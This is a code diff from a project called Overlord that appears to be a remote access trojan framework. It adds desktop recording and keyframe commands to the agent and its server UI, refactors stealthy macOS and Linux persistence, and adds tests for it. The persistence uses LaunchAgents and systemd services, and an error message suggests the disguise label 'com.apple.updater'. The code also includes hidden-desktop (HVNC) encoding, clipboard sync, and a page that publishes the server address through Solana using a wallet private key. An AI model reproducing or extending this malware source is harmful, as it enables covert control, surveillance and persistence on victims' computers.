diff --git a/Dockerfile b/Dockerfile index cb46f8f..82027f0 100644 --- a/Dockerfile +++ b/Dockerfile @@ -126,6 +126,7 @@ WORKDIR /app # openssl/ca-certificates: TLS cert generation + HTTPS validation. # wget/tar/unzip/xz-utils: required by toolchain-manager for on-demand downloads. +# ffmpeg: server-side remote desktop recording encoder. # clang: fallback C compiler for darwin/CGO agent builds (no toolchain mapping in # toolchain-manager.ts, so build-process.ts falls back to the default `cc`). RUN --mount=type=cache,target=/var/cache/apt,sharing=locked \ @@ -138,6 +139,7 @@ RUN --mount=type=cache,target=/var/cache/apt,sharing=locked \ unzip \ xz-utils \ git \ + ffmpeg \ clang \ && rm -rf /var/lib/apt/lists/* diff --git a/Overlord-Client/cmd/agent/capture/h264_encoder_stub.go b/Overlord-Client/cmd/agent/capture/h264_encoder_stub.go index b182445..24d9dda 100644 --- a/Overlord-Client/cmd/agent/capture/h264_encoder_stub.go +++ b/Overlord-Client/cmd/agent/capture/h264_encoder_stub.go @@ -21,6 +21,8 @@ func h264AvailabilityDetail() string { func resetH264Encoder() {} +func RequestDesktopH264Keyframe() {} + func resetH264EncoderHVNC() {} func encodeH264FrameHVNC(_ *image.RGBA) ([]byte, error) { diff --git a/Overlord-Client/cmd/agent/capture/h264_encoder_x264.go b/Overlord-Client/cmd/agent/capture/h264_encoder_x264.go index 3f7c6b0..b457834 100644 --- a/Overlord-Client/cmd/agent/capture/h264_encoder_x264.go +++ b/Overlord-Client/cmd/agent/capture/h264_encoder_x264.go @@ -126,6 +126,10 @@ func resetH264Encoder() { closeH264EncoderLocked() } +func RequestDesktopH264Keyframe() { + resetH264Encoder() +} + func closeH264EncoderLocked() { if h264Enc != nil { _ = h264Enc.Close() diff --git a/Overlord-Client/cmd/agent/handlers/command.go b/Overlord-Client/cmd/agent/handlers/command.go index c1c1177..daf8963 100644 --- a/Overlord-Client/cmd/agent/handlers/command.go +++ b/Overlord-Client/cmd/agent/handlers/command.go @@ -797,6 +797,11 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in capture.SetQualityAndCodec(quality, codec) sendCommandResultSafe(env, cmdID, true, "") return nil + case "desktop_request_keyframe": + log.Printf("desktop: request h264 keyframe") + capture.RequestDesktopH264Keyframe() + sendCommandResultSafe(env, cmdID, true, "") + return nil case "desktop_set_resolution": payload, _ := envelope["payload"].(map[string]interface{}) maxH := 0 // default = 1080p cap diff --git a/Overlord-Client/cmd/agent/persistence/persistence_darwin.go b/Overlord-Client/cmd/agent/persistence/persistence_darwin.go index a28f708..e5ca2f6 100644 --- a/Overlord-Client/cmd/agent/persistence/persistence_darwin.go +++ b/Overlord-Client/cmd/agent/persistence/persistence_darwin.go @@ -12,6 +12,17 @@ import ( "text/template" ) +var currentUserHomeDir = func() (string, error) { + usr, err := user.Current() + if err != nil { + return "", err + } + if usr.HomeDir == "" { + return "", fmt.Errorf("current user home directory is empty") + } + return usr.HomeDir, nil +} + const launchAgentPlist = ` @@ -48,26 +59,37 @@ func plistLabel() string { return "com.overlord.agent" } +func validateStartupName() error { + if DefaultStartupName != "" && !strings.HasPrefix(DefaultStartupName, "com.") { + return fmt.Errorf("startup name %q is invalid for macOS: LaunchAgent labels must start with \"com.\" (e.g. com.apple.updater)", DefaultStartupName) + } + return nil +} + func getPlistPath() (string, error) { - usr, err := user.Current() + homeDir, err := currentUserHomeDir() if err != nil { return "", err } - return filepath.Join(usr.HomeDir, "Library", "LaunchAgents", plistLabel()+".plist"), nil + return filepath.Join(homeDir, "Library", "LaunchAgents", plistLabel()+".plist"), nil } func getTargetPath() (string, error) { - usr, err := user.Current() + if err := validateStartupName(); err != nil { + return "", err + } + + homeDir, err := currentUserHomeDir() if err != nil { return "", err } - return filepath.Join(usr.HomeDir, "Library", "Application Support", "Overlord", binaryName()), nil + return filepath.Join(homeDir, "Library", "Application Support", "Overlord", binaryName()), nil } func install(exePath string) error { - if DefaultStartupName != "" && !strings.HasPrefix(DefaultStartupName, "com.") { - return fmt.Errorf("startup name %q is invalid for macOS: LaunchAgent labels must start with \"com.\" (e.g. com.apple.updater)", DefaultStartupName) + if err := validateStartupName(); err != nil { + return err } targetPath, err := getTargetPath() @@ -150,11 +172,11 @@ func replaceExecutable(exePath, targetPath string) error { if err := os.Rename(tmpPath, targetPath); err != nil { if removeErr := os.Remove(targetPath); removeErr == nil { - if err = os.Rename(tmpPath, targetPath); err == nil { - return nil - } + err = os.Rename(tmpPath, targetPath) + } + if err != nil { + return fmt.Errorf("failed to replace executable at %s: %w", targetPath, err) } - return fmt.Errorf("failed to replace executable at %s: %w", targetPath, err) } if err := os.Chmod(targetPath, 0755); err != nil { @@ -165,6 +187,10 @@ func replaceExecutable(exePath, targetPath string) error { } func configure(exePath string) error { + if err := validateStartupName(); err != nil { + return err + } + plistPath, err := getPlistPath() if err != nil { return fmt.Errorf("failed to get plist path: %w", err) diff --git a/Overlord-Client/cmd/agent/persistence/persistence_darwin_test.go b/Overlord-Client/cmd/agent/persistence/persistence_darwin_test.go new file mode 100644 index 0000000..7b95f90 --- /dev/null +++ b/Overlord-Client/cmd/agent/persistence/persistence_darwin_test.go @@ -0,0 +1,156 @@ +//go:build darwin && !ios && !ios_target + +package persistence + +import ( + "os" + "path/filepath" + "strings" + "testing" +) + +func withDarwinTempHome(t *testing.T) string { + t.Helper() + + home := t.TempDir() + origHome := currentUserHomeDir + origStartupName := DefaultStartupName + currentUserHomeDir = func() (string, error) { return home, nil } + DefaultStartupName = "" + + t.Cleanup(func() { + currentUserHomeDir = origHome + DefaultStartupName = origStartupName + }) + + return home +} + +func writeDarwinSourceExecutable(t *testing.T) string { + t.Helper() + + src := filepath.Join(t.TempDir(), "source-agent") + if err := os.WriteFile(src, []byte("agent-bytes"), 0644); err != nil { + t.Fatalf("write source executable: %v", err) + } + return src +} + +func TestDarwinInstallCreatesLaunchAgentAndExecutable(t *testing.T) { + home := withDarwinTempHome(t) + src := writeDarwinSourceExecutable(t) + + if err := InstallFrom(src); err != nil { + t.Fatalf("InstallFrom() error: %v", err) + } + + target := filepath.Join(home, "Library", "Application Support", "Overlord", "agent") + gotBytes, err := os.ReadFile(target) + if err != nil { + t.Fatalf("read installed executable: %v", err) + } + if string(gotBytes) != "agent-bytes" { + t.Fatalf("installed executable content mismatch: %q", string(gotBytes)) + } + if info, err := os.Stat(target); err != nil { + t.Fatalf("stat installed executable: %v", err) + } else if info.Mode().Perm() != 0755 { + t.Fatalf("installed executable mode = %o, want 0755", info.Mode().Perm()) + } + + plistPath := filepath.Join(home, "Library", "LaunchAgents", "com.overlord.agent.plist") + plistBytes, err := os.ReadFile(plistPath) + if err != nil { + t.Fatalf("read launch agent plist: %v", err) + } + plist := string(plistBytes) + for _, want := range []string{ + "com.overlord.agent", + "ProgramArguments", + "" + target + "", + "RunAtLoad", + "KeepAlive", + } { + if !strings.Contains(plist, want) { + t.Fatalf("launch agent plist missing %q:\n%s", want, plist) + } + } +} + +func TestDarwinConfigureCreatesLaunchAgentForExistingPath(t *testing.T) { + home := withDarwinTempHome(t) + exePath := filepath.Join(home, "bin", "existing-agent") + + if err := Configure(exePath); err != nil { + t.Fatalf("Configure() error: %v", err) + } + + plistPath := filepath.Join(home, "Library", "LaunchAgents", "com.overlord.agent.plist") + plistBytes, err := os.ReadFile(plistPath) + if err != nil { + t.Fatalf("read launch agent plist: %v", err) + } + if plist := string(plistBytes); !strings.Contains(plist, ""+exePath+"") { + t.Fatalf("launch agent plist missing executable path %q:\n%s", exePath, plist) + } +} + +func TestDarwinCustomStartupNameRequiresLaunchAgentLabel(t *testing.T) { + home := withDarwinTempHome(t) + DefaultStartupName = "updater" + + if err := InstallFrom(writeDarwinSourceExecutable(t)); err == nil { + t.Fatal("InstallFrom() error = nil, want invalid startup name error") + } + if err := Configure(filepath.Join(home, "bin", "updater")); err == nil { + t.Fatal("Configure() error = nil, want invalid startup name error") + } + if _, err := TargetPath(); err == nil { + t.Fatal("TargetPath() error = nil, want invalid startup name error") + } +} + +func TestDarwinCustomStartupNameCreatesCustomLabelAndBinary(t *testing.T) { + home := withDarwinTempHome(t) + DefaultStartupName = "com.example.updater" + + if err := InstallFrom(writeDarwinSourceExecutable(t)); err != nil { + t.Fatalf("InstallFrom() error: %v", err) + } + + target := filepath.Join(home, "Library", "Application Support", "Overlord", "com.example.updater") + if _, err := os.Stat(target); err != nil { + t.Fatalf("stat custom executable: %v", err) + } + + plistPath := filepath.Join(home, "Library", "LaunchAgents", "com.example.updater.plist") + plistBytes, err := os.ReadFile(plistPath) + if err != nil { + t.Fatalf("read custom launch agent plist: %v", err) + } + plist := string(plistBytes) + if !strings.Contains(plist, "com.example.updater") { + t.Fatalf("custom launch agent plist missing label:\n%s", plist) + } + if !strings.Contains(plist, ""+target+"") { + t.Fatalf("custom launch agent plist missing target %q:\n%s", target, plist) + } +} + +func TestDarwinReplaceExecutablePreservesExecutableModeWhenTargetExists(t *testing.T) { + _ = withDarwinTempHome(t) + src := writeDarwinSourceExecutable(t) + target := filepath.Join(t.TempDir(), "agent") + + if err := os.WriteFile(target, []byte("old"), 0644); err != nil { + t.Fatalf("write existing target: %v", err) + } + if err := replaceExecutable(src, target); err != nil { + t.Fatalf("replaceExecutable() error: %v", err) + } + if info, err := os.Stat(target); err != nil { + t.Fatalf("stat replaced executable: %v", err) + } else if info.Mode().Perm() != 0755 { + t.Fatalf("replaced executable mode = %o, want 0755", info.Mode().Perm()) + } +} diff --git a/Overlord-Client/cmd/agent/persistence/persistence_linux.go b/Overlord-Client/cmd/agent/persistence/persistence_linux.go index 883a08e..c229a89 100644 --- a/Overlord-Client/cmd/agent/persistence/persistence_linux.go +++ b/Overlord-Client/cmd/agent/persistence/persistence_linux.go @@ -12,6 +12,17 @@ import ( "text/template" ) +var currentUserHomeDir = func() (string, error) { + usr, err := user.Current() + if err != nil { + return "", err + } + if usr.HomeDir == "" { + return "", fmt.Errorf("current user home directory is empty") + } + return usr.HomeDir, nil +} + const systemdService = `[Unit] Description=Overlord Agent After=network.target @@ -43,27 +54,27 @@ func binaryName() string { } func getSystemdPath() (string, error) { - usr, err := user.Current() + homeDir, err := currentUserHomeDir() if err != nil { return "", err } - return filepath.Join(usr.HomeDir, ".config", "systemd", "user", binaryName()+".service"), nil + return filepath.Join(homeDir, ".config", "systemd", "user", binaryName()+".service"), nil } func getAutostartPath() (string, error) { - usr, err := user.Current() + homeDir, err := currentUserHomeDir() if err != nil { return "", err } - return filepath.Join(usr.HomeDir, ".config", "autostart", binaryName()+".desktop"), nil + return filepath.Join(homeDir, ".config", "autostart", binaryName()+".desktop"), nil } func getTargetPath() (string, error) { - usr, err := user.Current() + homeDir, err := currentUserHomeDir() if err != nil { return "", err } - return filepath.Join(usr.HomeDir, ".local", "share", "overlord", binaryName()), nil + return filepath.Join(homeDir, ".local", "share", "overlord", binaryName()), nil } func install(exePath string) error { @@ -119,11 +130,11 @@ func replaceExecutable(exePath, targetPath string) error { if err := os.Rename(tmpPath, targetPath); err != nil { if removeErr := os.Remove(targetPath); removeErr == nil { - if err = os.Rename(tmpPath, targetPath); err == nil { - return nil - } + err = os.Rename(tmpPath, targetPath) + } + if err != nil { + return fmt.Errorf("failed to replace executable at %s: %w", targetPath, err) } - return fmt.Errorf("failed to replace executable at %s: %w", targetPath, err) } if err := os.Chmod(targetPath, 0755); err != nil { diff --git a/Overlord-Client/cmd/agent/persistence/persistence_linux_test.go b/Overlord-Client/cmd/agent/persistence/persistence_linux_test.go new file mode 100644 index 0000000..24b0073 --- /dev/null +++ b/Overlord-Client/cmd/agent/persistence/persistence_linux_test.go @@ -0,0 +1,193 @@ +//go:build linux +// +build linux + +package persistence + +import ( + "os" + "path/filepath" + "strings" + "testing" +) + +func withLinuxTempHome(t *testing.T) string { + t.Helper() + + home := t.TempDir() + origHome := currentUserHomeDir + origStartupName := DefaultStartupName + currentUserHomeDir = func() (string, error) { return home, nil } + DefaultStartupName = "" + + t.Cleanup(func() { + currentUserHomeDir = origHome + DefaultStartupName = origStartupName + }) + + return home +} + +func writeLinuxSourceExecutable(t *testing.T) string { + t.Helper() + + src := filepath.Join(t.TempDir(), "source-agent") + if err := os.WriteFile(src, []byte("agent-bytes"), 0644); err != nil { + t.Fatalf("write source executable: %v", err) + } + return src +} + +func TestLinuxInstallCreatesSystemdServiceAndExecutable(t *testing.T) { + home := withLinuxTempHome(t) + src := writeLinuxSourceExecutable(t) + + if err := InstallFrom(src); err != nil { + t.Fatalf("InstallFrom() error: %v", err) + } + + target := filepath.Join(home, ".local", "share", "overlord", "agent") + gotBytes, err := os.ReadFile(target) + if err != nil { + t.Fatalf("read installed executable: %v", err) + } + if string(gotBytes) != "agent-bytes" { + t.Fatalf("installed executable content mismatch: %q", string(gotBytes)) + } + if info, err := os.Stat(target); err != nil { + t.Fatalf("stat installed executable: %v", err) + } else if info.Mode().Perm() != 0755 { + t.Fatalf("installed executable mode = %o, want 0755", info.Mode().Perm()) + } + + servicePath := filepath.Join(home, ".config", "systemd", "user", "agent.service") + serviceBytes, err := os.ReadFile(servicePath) + if err != nil { + t.Fatalf("read systemd service: %v", err) + } + service := string(serviceBytes) + for _, want := range []string{ + "Description=Overlord Agent", + "ExecStart=" + target, + "Restart=always", + "WantedBy=default.target", + } { + if !strings.Contains(service, want) { + t.Fatalf("systemd service missing %q:\n%s", want, service) + } + } + + autostartPath := filepath.Join(home, ".config", "autostart", "agent.desktop") + if _, err := os.Stat(autostartPath); !os.IsNotExist(err) { + t.Fatalf("default install should prefer systemd and not write desktop entry, stat err=%v", err) + } +} + +func TestLinuxConfigureCreatesSystemdServiceForExistingPath(t *testing.T) { + home := withLinuxTempHome(t) + exePath := filepath.Join(home, "bin", "existing-agent") + + if err := Configure(exePath); err != nil { + t.Fatalf("Configure() error: %v", err) + } + + servicePath := filepath.Join(home, ".config", "systemd", "user", "agent.service") + serviceBytes, err := os.ReadFile(servicePath) + if err != nil { + t.Fatalf("read systemd service: %v", err) + } + if service := string(serviceBytes); !strings.Contains(service, "ExecStart="+exePath) { + t.Fatalf("systemd service missing executable path %q:\n%s", exePath, service) + } +} + +func TestLinuxInstallAutostartCreatesDesktopEntry(t *testing.T) { + home := withLinuxTempHome(t) + exePath := filepath.Join(home, "bin", "existing-agent") + + if err := installAutostart(exePath); err != nil { + t.Fatalf("installAutostart() error: %v", err) + } + + desktopPath := filepath.Join(home, ".config", "autostart", "agent.desktop") + desktopBytes, err := os.ReadFile(desktopPath) + if err != nil { + t.Fatalf("read desktop entry: %v", err) + } + desktop := string(desktopBytes) + for _, want := range []string{ + "[Desktop Entry]", + "Type=Application", + "Exec=" + exePath, + "X-GNOME-Autostart-enabled=true", + } { + if !strings.Contains(desktop, want) { + t.Fatalf("desktop entry missing %q:\n%s", want, desktop) + } + } +} + +func TestLinuxCustomStartupNameChangesServiceAndBinaryNames(t *testing.T) { + home := withLinuxTempHome(t) + DefaultStartupName = "updater" + + if err := InstallFrom(writeLinuxSourceExecutable(t)); err != nil { + t.Fatalf("InstallFrom() error: %v", err) + } + + target := filepath.Join(home, ".local", "share", "overlord", "updater") + if _, err := os.Stat(target); err != nil { + t.Fatalf("stat custom executable: %v", err) + } + + servicePath := filepath.Join(home, ".config", "systemd", "user", "updater.service") + serviceBytes, err := os.ReadFile(servicePath) + if err != nil { + t.Fatalf("read custom systemd service: %v", err) + } + if service := string(serviceBytes); !strings.Contains(service, "ExecStart="+target) { + t.Fatalf("custom systemd service missing target %q:\n%s", target, service) + } +} + +func TestLinuxUninstallRemovesStartupFilesAndExecutable(t *testing.T) { + home := withLinuxTempHome(t) + + target := filepath.Join(home, ".local", "share", "overlord", "agent") + servicePath := filepath.Join(home, ".config", "systemd", "user", "agent.service") + desktopPath := filepath.Join(home, ".config", "autostart", "agent.desktop") + for _, path := range []string{target, servicePath, desktopPath} { + if err := os.MkdirAll(filepath.Dir(path), 0755); err != nil { + t.Fatalf("mkdir %q: %v", filepath.Dir(path), err) + } + if err := os.WriteFile(path, []byte("x"), 0644); err != nil { + t.Fatalf("write %q: %v", path, err) + } + } + + if err := Remove(); err != nil { + t.Fatalf("Remove() error: %v", err) + } + for _, path := range []string{target, servicePath, desktopPath} { + if _, err := os.Stat(path); !os.IsNotExist(err) { + t.Fatalf("expected %q to be removed, stat err=%v", path, err) + } + } +} + +func TestLinuxReplaceExecutablePreservesExecutableModeWhenTargetExists(t *testing.T) { + _ = withLinuxTempHome(t) + src := writeLinuxSourceExecutable(t) + target := filepath.Join(t.TempDir(), "agent") + + if err := os.WriteFile(target, []byte("old"), 0644); err != nil { + t.Fatalf("write existing target: %v", err) + } + if err := replaceExecutable(src, target); err != nil { + t.Fatalf("replaceExecutable() error: %v", err) + } + if info, err := os.Stat(target); err != nil { + t.Fatalf("stat replaced executable: %v", err) + } else if info.Mode().Perm() != 0755 { + t.Fatalf("replaced executable mode = %o, want 0755", info.Mode().Perm()) + } +} diff --git a/Overlord-Server/public/assets/remotedesktop-settings-menu.js b/Overlord-Server/public/assets/remotedesktop-settings-menu.js index 00d86bd..076b8d3 100644 --- a/Overlord-Server/public/assets/remotedesktop-settings-menu.js +++ b/Overlord-Server/public/assets/remotedesktop-settings-menu.js @@ -1,19 +1,40 @@ (function () { - const btn = document.getElementById("rdSettingsBtn"); - const menu = document.getElementById("rdSettingsMenu"); - const wrap = document.getElementById("rdSettingsWrap"); - if (!btn || !menu || !wrap) return; - function setOpen(open) { - menu.classList.toggle("hidden", !open); - btn.setAttribute("aria-expanded", open ? "true" : "false"); + const menus = [ + { + btn: document.getElementById("rdRecordingSettingsBtn"), + menu: document.getElementById("rdRecordingSettingsMenu"), + wrap: document.getElementById("rdRecordingSettingsWrap"), + }, + { + btn: document.getElementById("rdSettingsBtn"), + menu: document.getElementById("rdSettingsMenu"), + wrap: document.getElementById("rdSettingsWrap"), + }, + ].filter((item) => item.btn && item.menu && item.wrap); + + function setOpen(item, open) { + item.menu.classList.toggle("hidden", !open); + item.btn.setAttribute("aria-expanded", open ? "true" : "false"); } - btn.addEventListener("click", (e) => { - e.stopPropagation(); - setOpen(menu.classList.contains("hidden")); - }); - menu.addEventListener("click", (e) => e.stopPropagation()); - document.addEventListener("click", () => setOpen(false)); + + function closeAll(except) { + for (const item of menus) { + if (item !== except) setOpen(item, false); + } + } + + for (const item of menus) { + item.btn.addEventListener("click", (e) => { + e.stopPropagation(); + const nextOpen = item.menu.classList.contains("hidden"); + closeAll(item); + setOpen(item, nextOpen); + }); + item.menu.addEventListener("click", (e) => e.stopPropagation()); + } + + document.addEventListener("click", () => closeAll()); document.addEventListener("keydown", (e) => { - if (e.key === "Escape") setOpen(false); + if (e.key === "Escape") closeAll(); }); })(); diff --git a/Overlord-Server/public/assets/remotedesktop.js b/Overlord-Server/public/assets/remotedesktop.js index b10ee69..ce6c337 100644 --- a/Overlord-Server/public/assets/remotedesktop.js +++ b/Overlord-Server/public/assets/remotedesktop.js @@ -28,6 +28,10 @@ import { createKeyboardCapture } from "./keyboard-capture.js"; const refreshBtn = document.getElementById("refreshDisplays"); const startBtn = document.getElementById("startBtn"); const stopBtn = document.getElementById("stopBtn"); + const recordBtn = document.getElementById("recordBtn"); + const rdRecordingSettingsBtn = document.getElementById("rdRecordingSettingsBtn"); + const recordMode = document.getElementById("recordMode"); + const recordFps = document.getElementById("recordFps"); const fullscreenBtn = document.getElementById("fullscreenBtn"); const mouseCtrl = document.getElementById("mouseCtrl"); const kbdCtrl = document.getElementById("kbdCtrl"); @@ -60,6 +64,9 @@ import { createKeyboardCapture } from "./keyboard-capture.js"; ws.binaryType = "arraybuffer"; let activeClientId = clientId; + let serverRecording = null; + let recordingTimer = null; + let pendingRecordingDownloadId = ""; let renderCount = 0; let renderWindowStart = performance.now(); let lastFrameAt = 0; @@ -427,6 +434,7 @@ import { createKeyboardCapture } from "./keyboard-capture.js"; const isStopping = streamState === "stopping"; const isStalled = streamState === "stalled"; const isBlocked = streamState === "offline" || streamState === "disconnected" || streamState === "error"; + const recordingActive = isRecording(); if (startBtn) { startBtn.disabled = !wsOpen || isStarting || isStreaming || isStopping || isBlocked; @@ -434,6 +442,219 @@ import { createKeyboardCapture } from "./keyboard-capture.js"; if (stopBtn) { stopBtn.disabled = !wsOpen || (!isStarting && !isStreaming && !isStopping && !isStalled); } + if (recordBtn) { + recordBtn.disabled = + !recordingActive && + (!wsOpen || (!isStreaming && !isStalled) || getWebrtcMode() !== "off"); + } + if (recordMode) { + recordMode.disabled = recordingActive; + } + if (recordFps) { + recordFps.disabled = recordingActive; + } + if (rdRecordingSettingsBtn) { + rdRecordingSettingsBtn.disabled = recordingActive; + } + } + + function isRecording() { + return !!serverRecording && ["starting", "recording", "stopping"].includes(serverRecording.status); + } + + function formatRecordingDuration(ms) { + const totalSeconds = Math.max(0, Math.floor(ms / 1000)); + const minutes = Math.floor(totalSeconds / 60); + const seconds = totalSeconds % 60; + return `${String(minutes).padStart(2, "0")}:${String(seconds).padStart(2, "0")}`; + } + + function numericRecordingValue(value, fallback = 0) { + if (typeof value === "bigint") return Number(value); + const num = Number(value); + return Number.isFinite(num) ? num : fallback; + } + + function normalizeRecordingSummary(recording) { + if (!recording) return null; + const normalized = { ...recording }; + normalized.startedAt = numericRecordingValue(recording.startedAt, Date.now()); + if (recording.stoppedAt != null) normalized.stoppedAt = numericRecordingValue(recording.stoppedAt); + for (const key of ["sourceFps", "targetFps", "segmentSeconds", "framesWritten", "framesDropped", "framesSkipped", "bytesWritten"]) { + if (recording[key] != null) normalized[key] = numericRecordingValue(recording[key]); + } + if (Array.isArray(recording.files)) { + normalized.files = recording.files.map((file) => ({ + ...file, + size: numericRecordingValue(file?.size), + })); + } + return normalized; + } + + function selectedRecordingFps() { + const fps = Number(recordFps?.value || 0); + return Number.isFinite(fps) && fps > 0 + ? Math.max(1, Math.min(120, Math.floor(fps))) + : 0; + } + + function setRecordingUi(active) { + if (!recordBtn) return; + if (active) { + recordBtn.classList.add("recording"); + recordBtn.title = "Stop recording"; + const startedAt = numericRecordingValue(serverRecording?.startedAt, Date.now()); + const elapsed = Date.now() - startedAt; + const label = serverRecording?.status === "stopping" + ? "Stopping" + : formatRecordingDuration(elapsed); + recordBtn.innerHTML = `${label}`; + } else { + recordBtn.classList.remove("recording"); + recordBtn.title = "Record on the server using Canvas transport"; + recordBtn.innerHTML = 'Record'; + } + } + + function clearRecordingTimer() { + if (recordingTimer) { + clearInterval(recordingTimer); + recordingTimer = null; + } + } + + function ensureRecordingTimer() { + if (recordingTimer || !isRecording()) return; + recordingTimer = setInterval(() => setRecordingUi(true), 1000); + } + + function downloadRecordingFile(file) { + if (!file?.downloadUrl) return false; + console.debug("rd: recording download", { + name: file.name || "", + size: file.size || 0, + url: file.downloadUrl, + }); + const link = document.createElement("a"); + link.href = file.downloadUrl; + link.download = file.name || "remote-desktop-recording.mp4"; + link.style.display = "none"; + document.body.appendChild(link); + link.click(); + link.remove(); + return true; + } + + function renderRecordingDownloads(recording) { + if (!recording || !Array.isArray(recording.files) || recording.files.length === 0) return false; + const mp4Files = recording.files.filter((file) => String(file?.name || "").toLowerCase().endsWith(".mp4")); + const files = mp4Files.length ? mp4Files : recording.files; + const latest = files[files.length - 1]; + if (!latest?.downloadUrl) return false; + const message = recording.files.length === 1 + ? "Recording saved on the server." + : `Recording saved on the server in ${recording.files.length} segments.`; + console.info(message, recording.files); + return downloadRecordingFile(latest); + } + + function handleRecordingStatus(msg) { + if (msg?.error) { + alert(msg.error); + } + const previousId = serverRecording?.id || ""; + const previousActive = isRecording(); + serverRecording = normalizeRecordingSummary(msg?.recording); + console.debug("rd: recording status", { + status: serverRecording?.status || "none", + id: serverRecording?.id || "", + framesWritten: serverRecording?.framesWritten, + framesSkipped: serverRecording?.framesSkipped, + framesDropped: serverRecording?.framesDropped, + files: Array.isArray(serverRecording?.files) ? serverRecording.files.length : 0, + pendingDownloadId: pendingRecordingDownloadId, + }); + const active = isRecording(); + if (active) { + ensureRecordingTimer(); + setRecordingUi(true); + } else { + clearRecordingTimer(); + setRecordingUi(false); + } + updateControls(); + + const completed = + previousActive && + serverRecording && + serverRecording.id === previousId && + (serverRecording.status === "stopped" || serverRecording.status === "failed"); + const shouldDownload = + serverRecording?.status === "stopped" && + pendingRecordingDownloadId && + (pendingRecordingDownloadId === "__pending__" || serverRecording.id === pendingRecordingDownloadId); + if (completed || shouldDownload) { + if (serverRecording.status === "failed") { + alert(`Server recording failed: ${serverRecording.error || "Unknown error"}`); + pendingRecordingDownloadId = ""; + } else if (shouldDownload) { + if (renderRecordingDownloads(serverRecording)) { + pendingRecordingDownloadId = ""; + } else if (serverRecording.status === "stopped") { + alert("Server recording stopped, but no downloadable MP4 was produced."); + pendingRecordingDownloadId = ""; + } + } + } + } + + function startRecording() { + if (isRecording()) return; + if (getWebrtcMode() !== "off") { + alert("Server-side recording uses the Canvas transport. Switch Transport to Canvas before recording."); + return; + } + if (streamState !== "streaming" && streamState !== "stalled") { + alert("Start the remote desktop stream before recording."); + return; + } + serverRecording = { + id: "", + status: "starting", + startedAt: Date.now(), + files: [], + }; + setRecordingUi(true); + ensureRecordingTimer(); + updateControls(); + const requestedFps = selectedRecordingFps(); + const command = { + compact: recordMode?.value === "compact", + }; + if (requestedFps > 0) command.fps = requestedFps; + console.debug("rd: recording start", { + streamState, + transport: getWebrtcMode(), + requestedFps: requestedFps || "source", + mode: recordMode?.value || "normal", + }); + sendCmd("desktop_record_start", command); + } + + function stopRecording() { + if (!isRecording()) return; + pendingRecordingDownloadId = serverRecording?.id || "__pending__"; + serverRecording = { ...serverRecording, status: "stopping" }; + setRecordingUi(true); + updateControls(); + console.debug("rd: recording stop", { + id: pendingRecordingDownloadId, + framesWritten: serverRecording?.framesWritten, + framesSkipped: serverRecording?.framesSkipped, + framesDropped: serverRecording?.framesDropped, + }); + sendCmd("desktop_record_stop", {}); } function startClipboardSync() { @@ -879,6 +1100,12 @@ import { createKeyboardCapture } from "./keyboard-capture.js"; }); }); + if (webrtcMode) { + webrtcMode.addEventListener("change", function () { + updateControls(); + }); + } + function needsWebrtcFirewallWarning(mode) { if (firewallWarningAcked) return false; if (mode !== "relayed" && mode !== "p2p") return false; @@ -919,12 +1146,19 @@ import { createKeyboardCapture } from "./keyboard-capture.js"; } }); stopBtn.addEventListener("click", function () { + if (isRecording()) stopRecording(); desiredStreaming = false; setStreamState("stopping", "Stopping stream"); sendCmd("desktop_stop", {}); disconnectAudio(); stopAllWebrtc(); }); + if (recordBtn) { + recordBtn.addEventListener("click", function () { + if (isRecording()) stopRecording(); + else startRecording(); + }); + } fullscreenBtn.addEventListener("click", function () { if (canvasContainer.requestFullscreen) { canvasContainer.requestFullscreen(); @@ -1429,6 +1663,10 @@ import { createKeyboardCapture } from "./keyboard-capture.js"; updateLatency(Number(msg.ms) || 0); return; } + if (msg && msg.type === "recording_status") { + handleRecordingStatus(msg); + return; + } if (msg && msg.type === "clipboard_content") { if (clipboardSyncCtrl && clipboardSyncCtrl.checked && streamState === "streaming" && msg.text) { lastClipboardText = msg.text; @@ -1448,6 +1686,10 @@ import { createKeyboardCapture } from "./keyboard-capture.js"; updateLatency(Number(msg.ms) || 0); return; } + if (msg && msg.type === "recording_status") { + handleRecordingStatus(msg); + return; + } if (msg && msg.type === "clipboard_content") { if (clipboardSyncCtrl && clipboardSyncCtrl.checked && streamState === "streaming" && msg.text) { lastClipboardText = msg.text; @@ -1465,6 +1707,7 @@ import { createKeyboardCapture } from "./keyboard-capture.js"; pushCaptureToggles(); clearOfflineTimer(); setStreamState("idle", "Stopped"); + sendCmd("desktop_record_status", {}); fetchClientInfo().then(() => { if (displaySelect && displaySelect.value) { console.debug("rd: initial select display", displaySelect.value); @@ -1480,6 +1723,9 @@ import { createKeyboardCapture } from "./keyboard-capture.js"; disconnectAudio(); destroyVideoDecoder(); stopAllWebrtc(); + clearRecordingTimer(); + serverRecording = null; + setRecordingUi(false); setStreamState("disconnected", "Disconnected"); }); @@ -1606,6 +1852,7 @@ import { createKeyboardCapture } from "./keyboard-capture.js"; }); function stopOnExit() { + if (isRecording()) stopRecording(); if (ws.readyState === WebSocket.OPEN && desiredStreaming) { desiredStreaming = false; sendCmd("desktop_stop", {}); diff --git a/Overlord-Server/public/assets/sol-publish.js b/Overlord-Server/public/assets/sol-publish.js index ad3c558..46ef410 100644 --- a/Overlord-Server/public/assets/sol-publish.js +++ b/Overlord-Server/public/assets/sol-publish.js @@ -1,3 +1,16 @@ +(() => { +const DEFAULT_RPC_ENDPOINTS = [ + "https://api.mainnet-beta.solana.com", + "https://solana-mainnet.gateway.tatum.io", + "https://solana-rpc.publicnode.com", + "https://api.blockeden.xyz/solana/KeCh6p22EX5AeRHxMSmc", + "https://solana.drpc.org", + "https://solana.leorpc.com/?api_key=FREE", + "https://solana.api.onfinality.io/public", + "https://solana.api.pocket.network/", + "https://api.devnet.solana.com", +]; + const rpcSelect = document.getElementById("rpc-url"); const customRpcWrapper = document.getElementById("custom-rpc-wrapper"); const customRpcInput = document.getElementById("custom-rpc-url"); @@ -10,28 +23,47 @@ const outputSection = document.getElementById("output-section"); const outputDiv = document.getElementById("output"); const walletInfo = document.getElementById("wallet-info"); const walletAddress = document.getElementById("wallet-address"); -const walletBalance = document.getElementById("wallet-balance"); + +if (!rpcSelect || !customRpcWrapper || !customRpcInput || !privateKeyInput || !toggleKeyBtn || !serverUrlInput || !previewBtn || !publishBtn || !outputSection || !outputDiv || !walletInfo || !walletAddress) { + return; +} + +function normalizeRpcEndpoints(value) { + const seen = new Set(); + const endpoints = []; + for (const raw of Array.isArray(value) ? value : []) { + const endpoint = String(raw || "").trim(); + if (!/^https?:\/\//i.test(endpoint) || seen.has(endpoint)) continue; 